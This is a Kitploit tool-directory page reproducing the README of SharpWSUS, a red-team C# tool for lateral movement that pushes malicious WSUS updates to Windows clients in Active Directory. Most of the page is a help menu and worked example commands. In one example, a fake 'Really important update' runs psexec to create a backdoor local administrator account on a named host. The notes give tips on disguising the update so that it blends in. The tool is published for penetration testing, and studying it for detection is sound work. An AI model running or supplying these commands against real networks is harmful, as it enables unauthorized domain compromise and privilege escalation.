Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
SharpWSUS — C# tool for lateral movement through WSUS by creating, approving, and deploying malicious updates to target Windows clients in Active Directory environments. | Kitploit
Tools/GitHubGitHub/nettitude/sharpwsus
Lateral MovementPenetration TestingRed Teaming
GitHubnettitude/sharpwsus

SharpWSUS

C# tool for lateral movement through WSUS by creating, approving, and deploying malicious updates to target Windows clients in Active Directory environments.

View Repository
503804 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SharpWSUS

SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (https://labs.nettitude.com/blog/introducing-sharpwsus/) which has more detailed information about the tooling, use case and detection.

Credits

Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility.

  • https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS
  • https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS

Help Menu

root@kitploit:~
 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team


Commands listed below have optional parameters in <>.

Locate the WSUS server:
    SharpWSUS.exe locate

Inspect the WSUS server, enumerating clients, servers and existing groups:
    SharpWSUS.exe inspect

Create an update (NOTE: The payload has to be a windows signed binary):
    SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MSRC] /description:[description] /url:[url]>

Approve an update:
    SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]>

Check status of an update:
    SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]

Delete update and clean up groups added:
    SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup>

Example Usage

root@kitploit:~
sharpwsus locate

sharpwsus inspect

sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"

sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"

sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local

sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"

Notes

  • Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement.
  • The metadata on the create command is not needed, but is useful for blending in to the environment.
  • If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not)
Download Tool